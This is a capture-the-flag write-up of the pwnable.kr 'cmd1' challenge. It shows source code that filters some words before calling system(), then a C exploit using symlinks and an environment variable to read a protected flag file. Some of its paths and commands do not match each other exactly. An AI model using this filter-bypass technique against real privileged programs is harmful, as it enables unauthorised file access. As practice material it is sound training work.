Pwnable.kr - cmd1

0x00 Puzzle

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

0x01 Explore

ssh

cmd1@ubuntu:~$ ls -l
total 20
-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1
-rw-r--r-- 1 root root      319 Jul 14  2015 cmd1.c
-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

cmd1.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/fuckyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

0x02 Solution

  • ln -s ~/flag /tmp/flag can bypass the 'flag' checking.
  • Add fp=/tmp/flag to environment can bypass the 'tmp' checking.
  • Using /bin/cat rather than /bin/bash or /bin/sh can bypass the 'sh' checking.

xpl.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
    char *argv[2];
    char *envp[2] = {"fp=/tmp/cmdxhyu/f"};
    argv[0]="a"; // whatever
    argv[1]="/bin/cat $fp";
    execve("./cmd1", argv, envp);
    return 0;
}
cmd1@ubuntu:/tmp$ ln -s ~/flag /tmp/flag
cmd1@ubuntu:/tmp$ ln -s ~/cmd1 /tmp/cmd1
cmd1@ubuntu:/tmp$ gcc -o xpl xpl.c
cmd1@ubuntu:/tmp$ ./x
mommy now I get what PATH environment is for :)

Done!